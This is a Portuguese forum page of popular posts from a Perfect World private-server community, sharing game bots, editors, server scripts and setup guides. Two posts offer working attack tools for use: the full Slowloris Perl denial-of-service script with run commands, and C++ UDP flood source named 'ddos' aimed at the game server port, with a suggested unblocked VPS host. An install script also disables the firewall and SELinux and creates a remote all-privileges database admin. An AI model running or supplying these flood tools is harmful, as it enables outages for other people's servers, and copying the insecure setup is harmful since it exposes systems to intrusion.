Ir para conteúdo
Facebook Whatsapp Twitter Youtube

Os Melhores

Conteúdo popular

Mostrando conteúdo com a maior reputação em 12/25/25 em Posts

  1. Sabe aqueles PW que coloca uma aréa de farme e ao redor coloca estaca de madeira ou algum mob imune pra evitar o auto cultivo? Então, tava de bobeira no Discord com uns amigos e resolvi fazer um bot para melhorar o auto-cultivo? Não espere muito, fiz todo cagado para uso pessoal e amigos, mas vou compartilhar com vocês aqui 😄 Funções (que eu lembro) Ignora o Mob que você quiser Pega moedas/itens do chão ao matar Repara automaticamente o seu set (função do inventário) Autopot Se morrer volta pro mesmo lugar que estava (as vezes não funciona xisde) Aviso no chat(qualquer um) toda vez que encontra o mob indesejado (você pode desativar (pra não levar ban) isso no settings.ini) Um txt cheio de logs pra você ver oque rolou Atalhos (que eu lembro) F1 = F1 ou macro F2 = Coloque a skill de pegar itens do chão F3 = Coloque o boticário que você vai usar (HP) F4 = Coloque o boticário que você vai usar (MP) Configure o mob a ser ignorado na imagem include/estaca-de-madeira.png Fora isso, não precisa de configuração, basta abrir o jogo e deixa na tela do PW. Eu gravei isso para ajudar meu amigo na instalação/uso: [Conteúdo Oculto] (ignore as configurações, era de um versão antiga) Download: bot-pw.zip
    1 ponto
  2. Skin 1 Skin 2 Skin 3 Download: Skin 1 patcher.zip Skin 2 patcher.zip Skin 3 patcher.zip
    1 ponto
  3. Sistema de Mensagem Automática - Exclusivo e Configurável Características principais: Mensagens aleatórias personalizáveis Agendamento de mensagens em horários específicos Mensagens com cores customizáveis Totalmente configurável ao seu gosto Como usar: Abra o arquivo "guia.txt" e siga o tutorial passo a passo. Suporte: Qualquer dúvida, deixem neste post que estarei aqui para ajudar! Espero que gostem do sistema! 😊 [Conteúdo Oculto]
    1 ponto
  4. Salve, hoje venho compartilhar este projeto feito em nodejs com os entusiastas da programação O projeto ainda estava no começo, mas a base e muitas funções já estão pronta, tais como; Login Cadastro (com ou sem confirmação no e-mail) Recuperar conta Reenviar e-mail de ativação Template dos e-mails Dashboard cru Página de doação (parei aqui) Para rodar o painel é bastante simples; Instale o node NodeJS >=20.00 - [Conteúdo Oculto] Crie um banco de dados e importe o config/tables.sql para o mesmo Configure o config/settings.js com as informações dos bancos de dados, url do cors, porta do aplicação, hash etc Pronto agora é só instalar as dependências e iniciar a aplicação npm install npm start Se você fez tudo certo você deve ver uma mensagem de sucesso no terminal informando que a aplicação foi iniciado na porta definida Download: node-js.zip
    1 ponto
  5. Caso esse limite seja ultrapassado, bloqueia o HWID (identificação única do hardware) e registra informações sobre o IP, quantidade de pacotes enviados e a data Instale o iptables-persistent e o pacote mysql-client sudo apt-get update sudo apt-get install iptables-persistent mysql-client Carregue o módulo xt_recent sudo modprobe xt_recent Regras do iptables sudo iptables -N HWID_BLOCK sudo iptables -A HWID_BLOCK -m recent --name HWID --set --mask 255.255.255.255 --rsource sudo iptables -A HWID_BLOCK -m recent --name HWID --update --seconds 86400 --mask 255.255.255.255 --rsource -j LOG --log-prefix "HWID blocked: " --log-level 4 sudo iptables -A INPUT -p tcp --dport 29000 -m connlimit --connlimit-above 25 --connlimit-mask 0 -j HWID_BLOCK sudo iptables-save | sudo tee /etc/iptables/rules.v4 Crie um script para salvar as informações no MySQL. Por exemplo, crie o arquivo /usr/local/bin/save_to_mysql.sh com o seguinte conteúdo Não se esqueça de criar um banco de dados chamado 'connections' #!/bin/bash IP_ADDRESS=$1 PACKETS=$2 DATE=$(date +"%Y-%m-%d %H:%M:%S") mysql -u <username> -p<password> -e "INSERT INTO connections (ip_address, packets, date) VALUES ('$IP_ADDRESS', '$PACKETS', '$DATE');" <database> Dê permissão de execução ao script sudo chmod +x /usr/local/bin/save_to_mysql.sh Adicione uma regra no iptables para chamar o script quando o limite de conexões for excedido. No exemplo abaixo, assumimos que o script está localizado em /usr/local/bin/save_to_mysql.sh: sudo iptables -A HWID_BLOCK -m recent --name HWID --update --seconds 0 --mask 255.255.255.255 --rsource -j LOG --log-prefix "HWID blocked: " --log-level 4 --nflog-prefix "iptables-save: " --nflog-group 1 --nflog-range 64 --nflog-threshold 10 sudo iptables -A HWID_BLOCK -m recent --name HWID --update --seconds 0 --mask 255.255.255.255 --rsource -j LOG --log-prefix "HWID blocked: " --log-level 4 --nflog-prefix "iptables-save: " --nflog-group 1 --nflog-range 64 --nflog-threshold 10 --nflog-cprange 128 --nflog
    1 ponto
  6. Créditos @xDarK 1. **Acesso ao Servidor:** - Use um cliente SSH ou FTP para se conectar ao servidor. 2. **Localize o Arquivo:** - Navegue até o diretório `/home/gamed`. 3. **Abra o Arquivo `script.lua`:** - Use um editor de texto, como Nano ou Vim: ``` nano /home/gamed/script.lua ``` 4. **Adicione o Código:** - Cole o seguinte código acima da linha `mylogfunc("LUA_OTHER_EDITOR: --OK-- ")`: --Refino Máximo local refino_max = 12 --Refino 1 Click basta colocar o mesmo valor do refino_max no refino por_click local refino_por_click = 1 -- Valor permitido 1 á 12 --Não editar abaixo disso if refino_max < refino_por_click then refino_por_click = refino_max end CharTable(0x08292348, refino_max -1) IntTable(0x0829259A, refino_por_click) IntTable(0x082925CC, refino_por_click) 5. **Salve e Feche o Arquivo:** - No Nano, pressione `Ctrl + O` para salvar e `Ctrl + X` para sair. ▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ Tempo de duração itens no chão IntTable(0x811A32E,300) -- Tempo de duração do drop em segundos ▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ Hiper Exaustão de Exp IntTable(0x08208DBD,3686400) --Tempo em segundos IntTable(0x08208DC9,3686400) --Tempo em segundos ▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ Hyper ativação CharTable(0x08209358,10)--Valor 10 e Padrão ativação do hyper so muda valor CharTable(0x08208C05,9)--Valor 9 e Padrão ativação do hyper so muda valor sempre -1 ▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ soltar a daimon -- Tempo para soltar a daimon IntTable(0x82DFE97,86400) -- Editar esse valor de 86400 para o tempo desejado ▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ Adicionado para enviar mensagem de sistema atualizado colar diretamente acima da linha mylogfunc("EventOnReloadScript: --OK-- ") no arquivo script.lua: game__BroadcastChat(-1, string.char(9), 'Sistema Atualizado')
    1 ponto
  7. Mapa do mundo principal do PW em PSD editável world.psd
    1 ponto
  8. Como Usar o Slowloris VERSÕES AFETADAS Este problema impacta vários servidores web, incluindo: Apache (versões 1.x e 2.x) dhttpd GoAhead WebServer Possivelmente outros servidores web Requisitos: sudo apt-get update sudo apt-get install perl sudo apt-get install libwww-mechanize-shell-perl sudo apt-get install perl-mechanize Utilizando ./slowloris.pl perl slowloris.pl -dns 127.0.0.1 -options #!/usr/bin/perl -w use strict; use IO::Socket::INET; use IO::Socket::SSL; use Getopt::Long; use Config; $SIG{'PIPE'} = 'IGNORE'; #Ignore broken pipe errors print <<EOTEXT; Welcome to Slowloris - the low bandwidth, yet greedy and poisonous HTTP client by Laera Loris EOTEXT my ( $host, $port, $sendhost, $shost, $test, $version, $timeout, $connections ); my ( $cache, $httpready, $method, $ssl, $rand, $tcpto ); my $result = GetOptions( 'shost=s' => \$shost, 'dns=s' => \$host, 'httpready' => \$httpready, 'num=i' => \$connections, 'cache' => \$cache, 'port=i' => \$port, 'https' => \$ssl, 'tcpto=i' => \$tcpto, 'test' => \$test, 'timeout=i' => \$timeout, 'version' => \$version, ); if ($version) { print "Version 0.7\n"; exit; } unless ($host) { print "Usage:\n\n\tperl $0 -dns [www.example.com] -options\n"; print "\n\tType 'perldoc $0' for help with options.\n\n"; exit; } unless ($port) { $port = 80; print "Defaulting to port 80.\n"; } unless ($tcpto) { $tcpto = 5; print "Defaulting to a 5 second tcp connection timeout.\n"; } unless ($test) { unless ($timeout) { $timeout = 100; print "Defaulting to a 100 second re-try timeout.\n"; } unless ($connections) { $connections = 1000; print "Defaulting to 1000 connections.\n"; } } my $usemultithreading = 0; if ( $Config{usethreads} ) { print "Multithreading enabled.\n"; $usemultithreading = 1; use threads; use threads::shared; } else { print "No multithreading capabilites found!\n"; print "Slowloris will be slower than normal as a result.\n"; } my $packetcount : shared = 0; my $failed : shared = 0; my $connectioncount : shared = 0; srand() if ($cache); if ($shost) { $sendhost = $shost; } else { $sendhost = $host; } if ($httpready) { $method = "POST"; } else { $method = "GET"; } if ($test) { my @times = ( "2", "30", "90", "240", "500" ); my $totaltime = 0; foreach (@times) { $totaltime = $totaltime + $_; } $totaltime = $totaltime / 60; print "This test could take up to $totaltime minutes.\n"; my $delay = 0; my $working = 0; my $sock; if ($ssl) { if ( $sock = new IO::Socket::SSL( PeerAddr => "$host", PeerPort => "$port", Timeout => "$tcpto", Proto => "tcp", ) ) { $working = 1; } } else { if ( $sock = new IO::Socket::INET( PeerAddr => "$host", PeerPort => "$port", Timeout => "$tcpto", Proto => "tcp", ) ) { $working = 1; } } if ($working) { if ($cache) { $rand = "?" . int( rand(99999999999999) ); } else { $rand = ""; } my $primarypayload = "GET /$rand HTTP/1.1\r\n" . "Host: $sendhost\r\n" . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n" . "Content-Length: 42\r\n"; if ( print $sock $primarypayload ) { print "Connection successful, now comes the waiting game...\n"; } else { print "That's odd - I connected but couldn't send the data to $host:$port.\n"; print "Is something wrong?\nDying.\n"; exit; } } else { print "Uhm... I can't connect to $host:$port.\n"; print "Is something wrong?\nDying.\n"; exit; } for ( my $i = 0 ; $i <= $#times ; $i++ ) { print "Trying a $times[$i] second delay: \n"; sleep( $times[$i] ); if ( print $sock "X-a: b\r\n" ) { print "\tWorked.\n"; $delay = $times[$i]; } else { if ( $SIG{__WARN__} ) { $delay = $times[ $i - 1 ]; last; } print "\tFailed after $times[$i] seconds.\n"; } } if ( print $sock "Connection: Close\r\n\r\n" ) { print "Okay that's enough time. Slowloris closed the socket.\n"; print "Use $delay seconds for -timeout.\n"; exit; } else { print "Remote server closed socket.\n"; print "Use $delay seconds for -timeout.\n"; exit; } if ( $delay < 166 ) { print <<EOSUCKS2BU; Since the timeout ended up being so small ($delay seconds) and it generally takes between 200-500 threads for most servers and assuming any latency at all... you might have trouble using Slowloris against this target. You can tweak the -timeout flag down to less than 10 seconds but it still may not build the sockets in time. EOSUCKS2BU } } else { print "Connecting to $host:$port every $timeout seconds with $connections sockets:\n"; if ($usemultithreading) { domultithreading($connections); } else { doconnections( $connections, $usemultithreading ); } } sub doconnections { my ( $num, $usemultithreading ) = @_; my ( @first, @sock, @working ); my $failedconnections = 0; $working[$_] = 0 foreach ( 1 .. $num ); #initializing $first[$_] = 0 foreach ( 1 .. $num ); #initializing while (1) { $failedconnections = 0; print "\t\tBuilding sockets.\n"; foreach my $z ( 1 .. $num ) { if ( $working[$z] == 0 ) { if ($ssl) { if ( $sock[$z] = new IO::Socket::SSL( PeerAddr => "$host", PeerPort => "$port", Timeout => "$tcpto", Proto => "tcp", ) ) { $working[$z] = 1; } else { $working[$z] = 0; } } else { if ( $sock[$z] = new IO::Socket::INET( PeerAddr => "$host", PeerPort => "$port", Timeout => "$tcpto", Proto => "tcp", ) ) { $working[$z] = 1; $packetcount = $packetcount + 3; #SYN, SYN+ACK, ACK } else { $working[$z] = 0; } } if ( $working[$z] == 1 ) { if ($cache) { $rand = "?" . int( rand(99999999999999) ); } else { $rand = ""; } my $primarypayload = "$method /$rand HTTP/1.1\r\n" . "Host: $sendhost\r\n" . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n" . "Content-Length: 42\r\n"; my $handle = $sock[$z]; if ($handle) { print $handle "$primarypayload"; if ( $SIG{__WARN__} ) { $working[$z] = 0; close $handle; $failed++; $failedconnections++; } else { $packetcount++; $working[$z] = 1; } } else { $working[$z] = 0; $failed++; $failedconnections++; } } else { $working[$z] = 0; $failed++; $failedconnections++; } } } print "\t\tSending data.\n"; foreach my $z ( 1 .. $num ) { if ( $working[$z] == 1 ) { if ( $sock[$z] ) { my $handle = $sock[$z]; if ( print $handle "X-a: b\r\n" ) { $working[$z] = 1; $packetcount++; } else { $working[$z] = 0; #debugging info $failed++; $failedconnections++; } } else { $working[$z] = 0; #debugging info $failed++; $failedconnections++; } } } print "Current stats:\tSlowloris has now sent $packetcount packets successfully.\nThis thread now sleeping for $timeout seconds...\n\n"; sleep($timeout); } } sub domultithreading { my ($num) = @_; my @thrs; my $i = 0; my $connectionsperthread = 50; while ( $i < $num ) { $thrs[$i] = threads->create( \&doconnections, $connectionsperthread, 1 ); $i += $connectionsperthread; } my @threadslist = threads->list(); while ( $#threadslist > 0 ) { $failed = 0; } } __END__ =head1 TITLE Slowloris by llaera =head1 VERSION Version 1.0 Stable =head1 DATE 02/11/2013 =head1 AUTHOR Laera Loris [email protected] =head1 ABSTRACT Slowloris both helps identify the timeout windows of a HTTP server or Proxy server, can bypass httpready protection and ultimately performs a fairly low bandwidth denial of service. It has the added benefit of allowing the server to come back at any time (once the program is killed), and not spamming the logs excessively. It also keeps the load nice and low on the target server, so other vital processes don't die unexpectedly, or cause alarm to anyone who is logged into the server for other reasons. =head1 AFFECTS Apache 1.x, Apache 2.x, dhttpd, GoAhead WebServer, others...? =head1 NOT AFFECTED IIS6.0, IIS7.0, lighttpd, nginx, Cherokee, Squid, others...?
    1 ponto
  9. Dependências sudo dnf install gcc-c++ glibc-devel make Compilar o código g++ ddos.cpp -o ddos -lpthread ./ddos VPS sem bloqueio: idconline.vn #include <iostream> #include <chrono> #include <thread> #include <cstring> #include <vector> #include <arpa/inet.h> #include <sys/socket.h> #include <unistd.h> #define PORT 29000 #define PACKET_SIZE 1024 // Paket boyutu (bayt cinsinden) #define PACKETS_PER_CYCLE 500 // Döngü başına gönderilecek paket sayısı #define CYCLE_DURATION 0.1 // Döngü süresi (milisaniye cinsinden) #define TOTAL_HOURS 5 // Çalışma süresi (saat cinsinden) #define TIMEOUT_SECONDS 10 // Bağlantı zaman aşımı süresi (saniye cinsinden) // Paketleri belirtilen IP'ye gönderen fonksiyon void send_packets(int sockfd, struct sockaddr_in& server_addr) { char packet[PACKET_SIZE]; memset(packet, 'A', PACKET_SIZE); for (int i = 0; i < PACKETS_PER_CYCLE; ++i) { sendto(sockfd, packet, PACKET_SIZE, 0, (struct sockaddr*)&server_addr, sizeof(server_addr)); } } int main() { // Hedef IP adresleri std::vector<std::string> ips = {"127.0.0.1", "127.0.0.2", "127.0.0.3", "127.0.0.4", "127.0.0.1"}; std::vector<int> sockets; std::vector<struct sockaddr_in> server_addrs; // Her IP için bir soket oluştur ve yapılandır for (const auto& ip : ips) { int sockfd = socket(AF_INET, SOCK_DGRAM, 0); if (sockfd < 0) { std::cerr << "Soket oluşturulurken hata: " << ip << std::endl; continue; } struct timeval timeout; timeout.tv_sec = TIMEOUT_SECONDS; timeout.tv_usec = 0; setsockopt(sockfd, SOL_SOCKET, SO_RCVTIMEO, &timeout, sizeof(timeout)); struct sockaddr_in server_addr; memset(&server_addr, 0, sizeof(server_addr)); server_addr.sin_family = AF_INET; server_addr.sin_port = htons(PORT); inet_pton(AF_INET, ip.c_str(), &server_addr.sin_addr); sockets.push_back(sockfd); server_addrs.push_back(server_addr); } auto start_time = std::chrono::steady_clock::now(); auto end_time = start_time + std::chrono::hours(TOTAL_HOURS); // Belirtilen süre boyunca paket gönder while (std::chrono::steady_clock::now() < end_time) { for (size_t i = 0; i < sockets.size(); ++i) { send_packets(sockets[i], server_addrs[i]); } std::this_thread::sleep_for(std::chrono::microseconds(static_cast<int>(CYCLE_DURATION * 1000))); } // Soketleri kapat for (int sockfd : sockets) { close(sockfd); } return 0; }
    1 ponto
  10. #!/bin/bash # Cores para as mensagens RED='\033[0;31m' GREEN='\033[0;32m' NC='\033[0m' # No Color print_error() { echo -e "${RED}Erro:${NC} $1" >&2 exit 1 } print_success() { echo -e "${GREEN}Sucesso:${NC} $1" } # Função para gerar senha aleatória generate_password() { tr -dc 'a-zA-Z0-9' < /dev/urandom | fold -w "${1:-12}" | head -n 1 } # Mensagem de início echo -e "${GREEN}? Iniciando instalacao...${NC}" # Verificar se está sendo executado como superusuário if [ "$EUID" -ne 0 ]; then echo -e "${RED}Este script precisa de permissões de superusuário para ser executado.${NC}" sudo "$0" "$@" || exit $? exit 0 fi # Instalações básicas echo -e "${GREEN}? Instalando pacotes basicos...${NC}" sudo yum -y install mariadb-server mariadb-libs.i686 httpd epel-release yum-utils cronie-noanacron ca-certificates > /dev/null 2>&1 || { print_error "Falha ao instalar pacotes basicos."; } print_success "Pacotes basicos instalados com sucesso." # Iniciar e habilitar serviços echo -e "${GREEN}? Iniciando e habilitando servicos...${NC}" sudo systemctl start mariadb && sudo systemctl enable mariadb > /dev/null 2>&1 || print_error "Falha ao iniciar e habilitar o MariaDB." sudo systemctl start httpd && sudo systemctl enable httpd > /dev/null 2>&1 || print_error "Falha ao iniciar e habilitar o Apache." print_success "Servicos iniciados e habilitados com sucesso." # Executar a configuracao de seguranca do MySQL echo -e "${GREEN}? Executando configuracao de seguranca do MySQL...${NC}" echo -e "\nn\n$(generate_password)\n$(generate_password)\ny\ny\ny\ny\n" | sudo mysql_secure_installation > /dev/null 2>&1 || print_error "Falha ao executar a configuracao de seguranca do MySQL." print_success "Configuracao de seguranca do MySQL concluida com sucesso." # Criar usuario com permissoes de superusuario no MariaDB echo -e "${GREEN}? Criando usuario com permissoes no MariaDB...${NC}" MYSQL_USER="admin" MYSQL_USER_PASSWORD=$(generate_password) sudo mysql -e "CREATE USER '${MYSQL_USER}'@'%' IDENTIFIED BY '${MYSQL_USER_PASSWORD}';" > /dev/null 2>&1 || print_error "Falha ao criar usuario no MariaDB." sudo mysql -e "GRANT ALL PRIVILEGES ON *.* TO '${MYSQL_USER}'@'%' WITH GRANT OPTION;" > /dev/null 2>&1 || print_error "Falha ao conceder permissoes ao usuario no MariaDB." print_success "Usuario criado com sucesso e permissoes concedidas." # Salvar senha do usuário em um arquivo no diretório raiz echo -e "${GREEN}? Salvando credenciais do MariaDB...${NC}" echo "Usuario: ${MYSQL_USER}" > ~/mysql_user.txt echo "Senha: ${MYSQL_USER_PASSWORD}" >> ~/mysql_user.txt print_success "Credenciais do MariaDB salvas em ~/mysql_user.txt." # Instalar PHP 7.4 e extensoes echo -e "${GREEN}? Instalando PHP 7.4 e extensoes...${NC}" sudo yum -y install [Conteúdo Oculto] > /dev/null 2>&1 || print_error "Falha ao instalar o repositorio Remi." sudo yum-config-manager --enable remi-php74 > /dev/null 2>&1 || print_error "Falha ao ativar o repositorio Remi PHP 7.4." sudo yum -y install php php-common php-opcache php-mcrypt php-cli php-gd php-curl php-mysqlnd php-zip php-devel php-mbstring php-pear php-bcmath php-json > /dev/null 2>&1 || print_error "Falha ao instalar PHP e extensoes." sudo systemctl restart httpd > /dev/null 2>&1 || print_error "Falha ao reiniciar o Apache apos a instalacao do PHP." print_success "PHP 7.4 e extensoes instalados com sucesso." # Instalar Java 1.8 echo -e "${GREEN}? Instalando Java 1.8...${NC}" sudo yum -y install java-1.8.0-openjdk.x86_64 > /dev/null 2>&1 || print_error "Falha ao instalar Java 1.8." print_success "Java 1.8 instalado com sucesso." # Instalar pacotes adicionais echo -e "${GREEN}? Instalando pacotes adicionais...${NC}" sudo yum -y install pcre-devel libstdc++.i686 libstdc++-devel.i686 libxml2-devel libxml2 libstdc++-static compat-libstdc++-33.x86_64 > /dev/null 2>&1 || print_error "Falha ao instalar pacotes adicionais." print_success "Pacotes adicionais instalados com sucesso." # Configurações adicionais echo -e "${GREEN}? Realizando configuracoes adicionais...${NC}" sudo systemctl disable firewalld && sudo systemctl stop firewalld > /dev/null 2>&1 || print_error "Falha ao desativar e parar firewalld." sudo sed -ri 's/SELINUX=enforcing/SELINUX=disabled/' /etc/selinux/config > /dev/null 2>&1 || print_error "Falha ao desativar SELinux." print_success "Configuracoes adicionais aplicadas com sucesso." # Atualizar o sistema e instalar pacotes extras echo -e "${GREEN}? Atualizando o sistema e instalando pacotes extras...${NC}" sudo yum -y update > /dev/null 2>&1 || print_error "Falha ao atualizar o sistema." sudo yum -y install mono mc htop curl wget p7zip gdb ipset perl-XML-DOM make gcc gcc-c++ openssl-devel readline-devel > /dev/null 2>&1 || print_error "Falha ao instalar pacotes extras." print_success "Sistema atualizado e pacotes extras instalados com sucesso." # Configurar local echo -e "${GREEN}? Configurando local...${NC}" sudo localectl set-locale LANG=en_US.UTF-8 > /dev/null 2>&1 || print_error "Falha ao configurar o local." print_success "Local configurado com sucesso." # Mensagem de conclusão echo -e "${GREEN}? instalacao concluída com sucesso. As credenciais do MariaDB foram salvas em ~/mysql_user.txt.${NC}" echo -e "${GREEN}Este script foi desenvolvido por [DISCORD master9028].${NC}" installcentos7.sh
    1 ponto
  11. Com esse editor você conseguirá editar os pontos de teleporte e seus nomes, lembre-se que se for criar um novo ponto deverá adiciona-lo na quest do atlas geográfico. World Targets Editor By Luka.rar
    1 ponto
  12. O Editor de NW (Nation War) para Perfect World é uma ferramenta poderosa que permite aos jogadores e administradores de servidores personalizar os mapas da famosa Guerra da Dinastia, uma das batalhas em larga escala mais emocionantes do jogo Perfect World. Com este editor, é possível alterar a configuração territorial, ajustando o posicionamento de bases, modificando terrenos e criando novas dinâmicas de combate. Esse editor oferece uma interface intuitiva para que até mesmo aqueles com pouca experiência possam manipular os mapas, permitindo ajustes nos pontos de interesse, tais como portões, torres e áreas estratégicas. Além disso, o Editor de NW facilita a criação de novos cenários para manter as guerras dinâmicas e desafiadoras, proporcionando uma experiência sempre renovada aos jogadores. Seja para modificar pequenos detalhes ou criar uma guerra completamente nova, o Editor de NW é a ferramenta essencial para quem deseja explorar todo o potencial tático e criativo de Perfect World nas batalhas territoriais, transformando as guerras de nação em um evento ainda mais épico. Download: Clique Aqui
    1 ponto
  13. Editor de região para perfect world postado no forum ragezone, Region Editor by Jolan Region Editor.rar
    1 ponto
  14. 🚨ATENÇÃO: LINKS DE DOWNLOADS CLIQUE AQUI #PW #perfectworld Esse vídeo vai lhe ensina como configurar uma maquina virtual no seu computador para criar um servidor private de perfect world, o passo a passo. HOW TO CREATE A PERFECT WORLD SERVER ANY VERSION STEP BY STEP
    1 ponto
  15. Preguiça de adicionar descrição nos baús no dedo, feito em python. Descrição.zip
    1 ponto
  16. Fala galera! Estou trazendo um script que finalizei para um amigo hoje e resolvi postar para ajudar vocês, não é muito mas já traz alguma facilidade sem ter a necessidade de enviar as mensagens via aipolicy ou de outra maneira. Em breve estarei trazendo mais coisas para contribuir com a comunidade. Abraços Script de Envio de Mensagens Automáticas Este é um script que automatiza o envio de mensagens por meio de um intervalo de tempo definido. Ele é projetado para simplificar o processo de comunicação enviando mensagens em momentos específicos, sem a necessidade de intervenção manual. Funcionamento: O script utiliza um temporizador para enviar as mensagens em intervalos regulares, facilitando o agendamento preciso das comunicações. Cada mensagem é definida com um conteúdo específico e um canal de destino. O tempo entre o envio de cada mensagem é configurável, permitindo uma personalização completa do ritmo de comunicação. Como Definir as Mensagens: Arquivo JSON: As mensagens são armazenadas em um arquivo JSON, proporcionando uma estrutura organizada e fácil de gerenciar. Estrutura de Dados: Cada mensagem é representada como um objeto no arquivo JSON, contendo o conteúdo da mensagem, o canal de destino e o intervalo de tempo entre os envios. Configuração Personalizada: Os usuários podem definir livremente o conteúdo das mensagens, ajustando-as de acordo com as necessidades específicas de comunicação. Como Configurar o Tempo de Envio: Intervalo de Tempo: O tempo entre os envios das mensagens é configurado em segundos, proporcionando flexibilidade para adaptar o ritmo de comunicação às demandas do cenário. Próximo Envio: Após o envio de uma mensagem, o script calcula automaticamente o momento do próximo envio com base no intervalo de tempo configurado. Benefícios do Script de Envio de Mensagens: Automatização: Elimina a necessidade de enviar manualmente cada mensagem, economizando tempo e esforço. Precisão: O uso de um temporizador garante que as mensagens sejam enviadas pontualmente de acordo com o intervalo definido. Personalização: Permite a customização das mensagens e dos intervalos de tempo para atender às suas necessidades específicas. SEND_MSG_PW.rar
    1 ponto
  17. Tools muito fácil de usar selecione a daimon que você quer editar, upar e mude os valores em level/Lucky points / Status / Atributos e Elementos, depois clique em "Get genie" para gerar o octets. Octet Daimon.zip
    1 ponto
  18. Recentemente, criei uma ferramenta simples para auxiliar desenvolvedores do pw. Essa ferramenta é um programa projetado para "abrir" uma quantidade específica de baús, proporcionando uma breve compreensão das probabilidades de obter itens. Embora não seja totalmente preciso em relação ao jogo, oferece uma estimativa útil para os usuários. Como utilizar: 1 – Copie todas as linhas do seu tasks.data relativo ao báu esperado 2 – Crie uma planilha para auxiliar no salvamento do arquivo, lá você vai colar todo conteudo copiado, ficará como a imagem abaixo: 3 – Agora você irá salvar como .csv 4 – Abra o atalho “main.lnk” e selecione o arquivo .csv que foi salvo anteriormente, insira a quantidade e pronto, terá o resultado estimado com base nas porcentagens. Enfim, algo bem simples que estou dispondo com a esperança de ajudar alguém, o código fonte tambem se encontra no arquivo .rar caso queria fazer alguma alteração, sinta-se totalmente livre. OBS: Atenção as casas decimais no arquivo .csv, caso seja um item muito raro com mais de duas casa decimais após a virgula, altere de maneira a aumentar a precisão. chest-rate.rar
    1 ponto
  19. "Importante: Quero ressaltar que todo conhecimento e métodos compartilhados aqui são apenas para uso pessoal. Eu não me responsabilizo por danos, prejuízos ou mau uso das informações fornecidas. O conhecimento é uma poderosa ferramenta que deve ser usada com responsabilidade. Cabe a cada um de nós garantir que aplicamos esse conhecimento de forma adequada, respeitando as leis, ética e diretrizes aplicáveis. Assim como qualquer outra fonte de informações, é fundamental verificar a veracidade e precisão dos conteúdos antes de utilizá-los. Recomendo sempre consultar fontes confiáveis e buscar orientação profissional quando necessário. Lembre-se de que cada um é responsável por suas próprias ações e decisões. Utilize o conhecimento adquirido de forma consciente e cuidadosa, levando em consideração as possíveis consequências. Estou aqui para fornecer informações e auxiliar no que for possível, mas não posso ser responsabilizado por qualquer dano ou prejuízo decorrente do uso indevido ou interpretação incorreta das informações compartilhadas. Aproveite o conhecimento de forma responsável e continue aprendendo! USE pw; -- Seleciona o banco de dados "pw" DELIMITER // DROP PROCEDURE IF EXISTS addGM_loop // CREATE PROCEDURE addGM_loop() BEGIN DECLARE done INT DEFAULT FALSE; DECLARE id_value INT; DECLARE cur CURSOR FOR SELECT ID FROM users; DECLARE CONTINUE HANDLER FOR NOT FOUND SET done = TRUE; DECLARE CONTINUE HANDLER FOR 1062 BEGIN END; OPEN cur; read_loop: LOOP FETCH cur INTO id_value; IF done THEN LEAVE read_loop; END IF; BEGIN CALL addGM(id_value, 1); END; END LOOP; CLOSE cur; END // DELIMITER ; CALL addGM_loop();
    1 ponto
  20. Há algum tempo eu venho estudando sobre os octets do PW (hex strings) para adicionar os detalhes dos itens no visualizador de inventário do meu painel. Inclusive eu achei esses 2 pdfs que estão anexados nesse post perdidos por aí (Além de outros projetos relacionados), o que me ajudou bastante no começo. E apartir disso eu construi esse projeto em php chamado PWHexParser que recebe um octet de um item, o tipo do item e retorna um json como resultado, exemplos: Lendo octets de uma roupa: <?php require __DIR__ . '/../vendor/autoload.php'; $decoder = new App\Decoder(); $decoder->setItemType('Fashion'); // Weapon, Armor, Charm, Jewelry, Flight, Card... $decoder->sethexString('1e00000092470100010a620072007500630065000000'); //Mandarin Silk Gown $result = $decoder->decodeHexString(); header('Content-Type: application/json'); echo json_encode($result, JSON_PRETTY_PRINT); Resultado: { "level_req": 30, "color": 18322, "gender": 1, "creator_type": 1, "name_length": 5, "name": "bruce", "color_mask": 0 } Adivinhando o tipo do item (arma nesse caso): <?php require __DIR__ . '/../vendor/autoload.php'; $mask = 1; // Weapon $decoder = new App\Decoder(); $decoder->guessItemType($mask); 